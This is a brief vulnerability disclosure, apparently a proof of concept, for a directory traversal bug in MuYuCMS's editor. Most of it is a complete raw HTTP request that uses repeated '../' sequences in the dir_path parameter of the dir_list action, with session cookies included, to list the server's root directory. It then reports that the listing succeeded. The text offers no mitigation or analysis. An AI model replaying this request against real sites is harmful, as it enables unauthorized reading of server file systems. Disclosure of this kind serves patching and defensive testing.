The muyucms bug can list files in a directory

[Kagantua]

1、Constructing packets after logging in

GET /editor/index.php?a=dir_list&dir_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../../../../../../../../ HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close

2、Success in revealing the information in the root directory